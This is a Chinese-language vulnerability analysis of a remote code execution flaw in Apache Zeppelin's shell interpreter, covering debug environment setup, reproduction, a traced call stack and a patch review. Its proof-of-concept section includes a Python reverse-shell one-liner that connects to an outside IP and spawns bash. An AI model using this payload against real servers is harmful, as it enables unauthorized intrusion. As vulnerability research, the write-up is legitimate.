漏洞简介

Apache Zeppelin 是一个让交互式数据分析变得可行的基于网页的开源框架，Zeppelin提供了数据分析、数据可视化等功能。
攻击者可以使用 Shell解释器作为代码生成网关，系统org.apache.zeppelin.shell.ShellInterpreter类直接调用/sh来执行命令，没有进行过滤，导致RCE漏洞。影响范围 0.10.1 <= Apache Zeppelin < 0.11.1。

环境搭建

docker启动环境

docker run -d --name zeppelin0.9 -p 8888:8080 apache/zeppelin:0.10.1  ##使用docker启动环境
 docker cp c9227a704e89:/opt/zeppelin/bin/zeppelin.sh . ##将docker容器中的zeppelin.sh文件拷贝到本地。

docker远程调试
编写本地zeppelin.sh文件，添加下下面一句话增加远程调试端口。

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=11000

上面的代码添加到最后一行$JAVA_OPTS 后面就可以远程调试了。

编辑完成之后将本地的文件拷贝的docker容器中，由于需要重新开放端口，推荐将docker环境提交为新的镜像增加远程调试的开放端口，操作命令如下：

docker cp zeppelin.sh c9227a704e89:/opt/zeppelin/bin/zeppelin.sh ##将编辑完成的文件拷贝到docker容器
docker stop c9227a704e89  ##停止容器
docker commit c9227a704e89 apache/zeppelin:0.10.1_debug ##提交为新的Docker镜像
docker run -d -p 8888:8080 -p 9999:11000 --name zeppelin_debug apache/zeppelin:0.10.1_debug ##重新运行新的docker镜像。

建议在Github将zeppelin下载到本地使用IDEA打开，Github链接地址：https://github.com/apache/zeppelin/releases/tag/v0.10.1

漏洞复现

创建一个以SH为Interpreter 的NoteBook,名称可以随便填写，点击create完成创建。
输入要执行的命令，然后点击一下运行，可以看到界面已经命令执行的结果返回了。

1day poc

python 语言

1、创建python解释器的notebook

2、填写下面的POC，点击运行图标

print(os.system("id"))

反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.167.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); ##反弹shel

漏洞分析

zeppelinServer部分

首先看一下zeppelin的前后台交互模型，前端交互通过HTTP协议和Websocket协议，zeppelin采用单独的jvm来启动interpreter进程，该Interpreter进程与zeppelinServer进程之间采用Thrift协议通信，其中RemoteInterpreterProcess是Thrift-Client端，而相应的RemoteInterpreterServer是Thrift-Server端。每一个Interpreter都属于换一个InterpreterGroup，同一个InterpreterGroup的Interpreters可以相互引用，例如SparkSqlInterpreter 可以引用 SparkInterpreter 以获取 SparkContext，因为他们属于同一个InterpreterGroup。当前已经实现的Interpreter有spark解释器，python解释器，SparkSQL解释器,JDBC，Markdown和shell等。

界面点运行Run all paragraphs之后，调用org.apache.zeppelin.notebook#jobRun函数执行。

org.apache.zeppelin.notebook#jobRun函数通过484行中获取命令执行的结果，可以看到这里interpreter是RemoteInterpreter类，执行命令是ls /etc,所以这里会调用RemoteInterpreter#interpret函数。

主要看一下这里209行数据，通过client.interpret方法从远程获取命令执行的结果，这里client是RemoteInterpreterServer类，通过上面的了解RemoteInterpreterServer调用Thrift协议完成nterpreter进程与zeppelinServer通信。

RemoteInterpreterServer#interpret函数，调用send_interpret发送当前需要远程调用interpreter的类型和一些调用参数。

发送interpreter请求流量如下，通过流量也可以进一步验证调用远程的interpreter的类名称是org.apache.zeppelin.shell.ShellInterpreter，参数是ls /etc。

RemoteInterpreterServer#interpret函数并通过recv_interpret()接收远程的返回信息，流量如下可以看到命令执行的结果以及返回的状态信息。

期间Web的执行命令的流量是通过HTTP协议和Websocket传输的，在调用HTTP调用API之后会通过，会通过websocket的形式传输要执行的命令。

命令执行的结果也是Websocket的形式返回。

Interpreter部分

由于interpreter在JVM中独立运行的，所以在调试interpreter需要重新设置一个远程开放调试的端口。在bin/interpreter.sh文件中的JAVA_INTP_OPTS参数增加下面的一句话，

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=6666

org.apache.zeppelin.shell.ShellInterpreter#InterpreterResult方法中执行命令并将执行命令的结果返回，可以看到这里的cmdline是["bash","-c","ls /etc"],在该函数的163行executor.execute(cmdLine)，通过execute继续执行命令，这里的executor是org.apache.commons.exec.DefaultExecutor类。

继续跟进org.apache.commons.exec.DefaultExecutor#execute()方法，会调用本类的executeInternal方法继续执行命令。该函数会执行命令，并将命令的返回的结果写入到stream流。

继续跟进会执行org.apache.commons.exec.launcher.Java13CommandLauncher.exec方法，在这个函数中会直接调用Runtime.getRuntime().exec()执行命令，分析到这里可以发现，针对于sh的命令一路绿灯一直到执行完成。

调用栈如下：

exec:621, Runtime (java.lang)
exec:61, Java13CommandLauncher (org.apache.commons.exec.launcher)
launch:279, DefaultExecutor (org.apache.commons.exec)
executeInternal:336, DefaultExecutor (org.apache.commons.exec)
execute:166, DefaultExecutor (org.apache.commons.exec)
execute:153, DefaultExecutor (org.apache.commons.exec)
internalInterpret:163, ShellInterpreter (org.apache.zeppelin.shell)
interpret:55, AbstractInterpreter (org.apache.zeppelin.interpreter)
interpret:110, LazyOpenInterpreter (org.apache.zeppelin.interpreter)
jobRun:860, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
jobRun:752, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
run:172, Job (org.apache.zeppelin.scheduler)
runJob:132, AbstractScheduler (org.apache.zeppelin.scheduler)
lambda$runJobInScheduler$0:46, ParallelScheduler (org.apache.zeppelin.scheduler)
run:-1, 1841630602 (org.apache.zeppelin.scheduler.ParallelScheduler$$Lambda$16)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

补丁分析

https://github.com/apache/zeppelin/pull/4708/commits/30483de6130d797abb19ca9998580d5cf463279e
官方直接禁用Shell interpreter的使用，在官网下载一个最新的版本版本启动看看。

访问最新的版本就可以看到确实在创建的时候sh的选择项已经被移除。

总结

zeppelin通信时候采用三种协议HTTP+websocket+Thrift协议，通过本篇文章可以大体了一下Websocket和Thrift协议的大致样子。比较有意思的是zeppelin采用单独的jvm来启动interpreter进程调式时候需要单独interpreter设置开启一个远程可以调试的端口。Thrift协议中可以看到内部调用interpret的请求和响应。漏洞原因在于执行的命令时候直接调用底层的命令执行函数，官方针对于该漏洞的修复直接禁用相关的模块，这种修复方式也算是修复的一种方式，应该还会有更好的修复方式。

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